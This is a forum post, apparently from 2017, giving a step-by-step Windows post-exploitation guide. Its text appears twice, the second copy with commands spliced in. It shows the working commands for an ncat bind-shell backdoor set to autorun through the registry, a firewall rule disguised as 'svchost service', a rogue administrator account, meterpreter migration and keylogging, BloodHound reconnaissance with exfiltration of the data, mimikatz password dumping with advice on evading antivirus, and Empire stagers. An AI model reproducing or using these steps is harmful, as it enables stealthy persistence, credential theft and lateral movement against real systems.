Oct 6, 2017 05:34 PM
(This post was last modified: Oct 6, 2017 05:45 PM by CyberStrike.)
Note: Administrator or System required if you are not a privileged user refer below for privesc*
Ncat persistent backdoor on windows machine :
Upload ncat
Step 1: Check the existing autoruns using either cmd or powershell
Step 2: Setting value to auto-run in registry with ncat set to listen on a specific power and upon a session being started a cmd is piped to the user in the sessions
Renaming ncat to something that would fit into the system in order to better blend in is a must.
Step 3: Double check that the key value took was succesful
Step 4: Check the firewall
First we are checking the operational mode to make check if the firewall is working and the next command is to check if the firewall is working what ports are already allowed.
Here we have added a firewall rule called “SVCHOST service” the name is important in order to better blend into a network environment. If needed edit the command above as needed for your particular installation settings.
Step 5: Check that the firewall rule took
Other uses for Ncat include file transfers, redirecting traffic, connecting to another machine, and other uses.
Adding New User for persistence:
Step 1: Ensuring that you are Administrator on the target computer also make sure that the user created is part of the Administrators group. Ensuring that the username which you are creating conforms to username conventions of the target is important.
Check the current users and localgroups using
You may check further details of a user account by using
Creation of new user locally and adding to localgroup Administrators
Now you have a new user name which is part of the Administrators group of that local machine which allows one to install and configure the system to conduct further actions with in the target network. In meterpreter add_user/add_localgroup_user are also an option here.
Migrating to another process
While in meterpreter you can move from one process to a more stable process such as explorer.exe
Step 1:
Listing of processes on the target :
Step 2:
Migration to another processes
Migrating to another process is important in order to not have the user accidentally close the session if they are monitoring processes.
ScreenShot:
A screen shot would be helpful in quickly getting information on a target user. This can be used to determine what applications are currently being run and gives a good situational awareness.
Step 1:
Keylogger:
Using a keylogger on a target machine can help in discovering passwords of a target
Step 1:
Note: A stand alone keylogger will be used outside of meterpreter during engagements.
BloodHound:
BloodHound ACL is a tool which puts the days of user hunting to rest. This guide assumes that you have installed BloodHound and corresponding dependencies and have Neo4J setup. BloodHound allows an attacker to find out the following:
1. Who is logged in where
2. Who is Administrator
3. Who belongs to what groups
4. Who has the ability to change other user groups
First an attacker must set the powershell execution policy in cmd type:
Running BloodHound Powershell script. You can always change the “.ps1” extension to “.psm1” thus making it a module in order to use import-module into a target but it is just as easy to run an instance of the script and cleanup on the target and xfil the corresponding csv file.
While one is able to export the information straight to Neo4j it is recommended for Operational Security (OPSEC) purposes it is strongly suggested not to do so, unless all C2 infrastructure is in place.
After xfil of the csv is created you will now have to “upload” the data to BloodHound, which is completed easily as the fourth button from the top is “Upload Data”. Searching in BloodHound is quite easy to be done expect a few seconds per user in the Active Directory Forrest so if you are in a large corporate environment it may take a bit.
As a note to the operator remember that if the a Domain Admin has logged in or logs in you may use Pass The Hash (PTH). In addition the KRBTGT account is disabled by default, although the hash of this account is used for Kerberos Ticket generation. Compromising of this account unless disabled by the Administrator allows an attacker to create their own Kerberos Tickets.
Continued
Mimikatz and Mimikittenz:
Mimikatz is a well known tool for extracting hashes, plain text, kerberos tickets, pass the hash, and other functions from memory of a target machine. Mimikatz is integrated in Metasploit so it can be easily brought to bear in an engagement. It is strongly suggested that an operator go check the mimikatz wiki.
Uploading mimikatz to the target is important and will be the first step remember bypassing AV is important an operator may want to consider using “hashclash” as to fake the hash to mimic iexplore for example, or any other method an operator wishes to implement.
Denote “c:\\” this is required.
For a full password dump use the following:
Mimikittenz:
Mimikittenz is used in a non-privileged user scenario and can dump multiple accounts for gmail, slack, and many others. Consider using this on a non High Value Target (HVT)
Final Note, Mimikatz allows for kerberos golden ticket stealing as well and in AD environment is a valuable tool to an operator.
Empire:
Empire creates a payload and allows for a listener and has many post exploitation tools and even allows a hand off to Metasploit meterpreter. Empire has a command and functionality much like Metasploit.
Create a listener
Set the listener options based upon what you plan on using for a stager. Once complete you will run
Now you will have to create a stager and check what options are available.
Payload by using
After setting the options corresponding with the listener you created above you will run
After the target has executed our stager it will now be our “agent”, which can be listed after issuing the following command.
After successful connection we now may select from various modules by issuing the following command
Empire as well allows for many of the post exploitation tools as mimikatz although outside of the metasploit it does allow for hand off to meterpreter, and has the ability for automation with "DeathStar" for near automatic engagements in AD.
Ncat persistent backdoor on windows machine :
Upload ncat
Step 1: Check the existing autoruns using either cmd or powershell
Code
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\runCode
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 445 -e cmd.exe'Step 3: Double check that the key value took was succesful
Code
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v ncCode
netsh firewall show opmode
netsh firewall show portopeningCode
netsh advfirewall firewall add rule name="svchost service" dir=in action=allow protocol=TCP localport=445Here we have added a firewall rule called “SVCHOST service” the name is important in order to better blend into a network environment. If needed edit the command above as needed for your particular installation settings.
Step 5: Check that the firewall rule took
Code
netsh firewall show portopeningAdding New User for persistence:
Step 1: Ensuring that you are Administrator on the target computer also make sure that the user created is part of the Administrators group. Ensuring that the username which you are creating conforms to username conventions of the target is important.
Check the current users and localgroups using
Code
net user
net localgroupCode
net user UserNameCode
net user /add [username] [password]
net localgroup administrators [username] /addMigrating to another process
While in meterpreter you can move from one process to a more stable process such as explorer.exe
Step 1:
Listing of processes on the target :
Code
ps or getpidMigration to another processes
Code
migrate PSID ex migrate 1234ScreenShot:
A screen shot would be helpful in quickly getting information on a target user. This can be used to determine what applications are currently being run and gives a good situational awareness.
Step 1:
Code
screenshotUsing a keylogger on a target machine can help in discovering passwords of a target
Step 1:
Code
run keylogrecorderBloodHound:
BloodHound ACL is a tool which puts the days of user hunting to rest. This guide assumes that you have installed BloodHound and corresponding dependencies and have Neo4J setup. BloodHound allows an attacker to find out the following:
1. Who is logged in where
2. Who is Administrator
3. Who belongs to what groups
4. Who has the ability to change other user groups
First an attacker must set the powershell execution policy in cmd type:
Code
Powershell -Exec BypassCode
Invoke-BloodHound -CSVPrefix C:\temp\DomainNameAfter xfil of the csv is created you will now have to “upload” the data to BloodHound, which is completed easily as the fourth button from the top is “Upload Data”. Searching in BloodHound is quite easy to be done expect a few seconds per user in the Active Directory Forrest so if you are in a large corporate environment it may take a bit.
As a note to the operator remember that if the a Domain Admin has logged in or logs in you may use Pass The Hash (PTH). In addition the KRBTGT account is disabled by default, although the hash of this account is used for Kerberos Ticket generation. Compromising of this account unless disabled by the Administrator allows an attacker to create their own Kerberos Tickets.
Continued
Mimikatz and Mimikittenz:
Mimikatz is a well known tool for extracting hashes, plain text, kerberos tickets, pass the hash, and other functions from memory of a target machine. Mimikatz is integrated in Metasploit so it can be easily brought to bear in an engagement. It is strongly suggested that an operator go check the mimikatz wiki.
Uploading mimikatz to the target is important and will be the first step remember bypassing AV is important an operator may want to consider using “hashclash” as to fake the hash to mimic iexplore for example, or any other method an operator wishes to implement.
Code
Upload /root/desktop/mimikatz.exe c:\\For a full password dump use the following:
Code
sekurlsa::logonPasswords fullMimikittenz is used in a non-privileged user scenario and can dump multiple accounts for gmail, slack, and many others. Consider using this on a non High Value Target (HVT)
Code
Invoke-mimikittenzFinal Note, Mimikatz allows for kerberos golden ticket stealing as well and in AD environment is a valuable tool to an operator.
Empire:
Empire creates a payload and allows for a listener and has many post exploitation tools and even allows a hand off to Metasploit meterpreter. Empire has a command and functionality much like Metasploit.
Create a listener
Code
uselistener
infoCode
executePayload by using
Code
usestager windows/launcher_bat
show infoCode
executeCode
agentsCode
usemodule OS/ModuleEmpire as well allows for many of the post exploitation tools as mimikatz although outside of the metasploit it does allow for hand off to meterpreter, and has the ability for automation with "DeathStar" for near automatic engagements in AD.
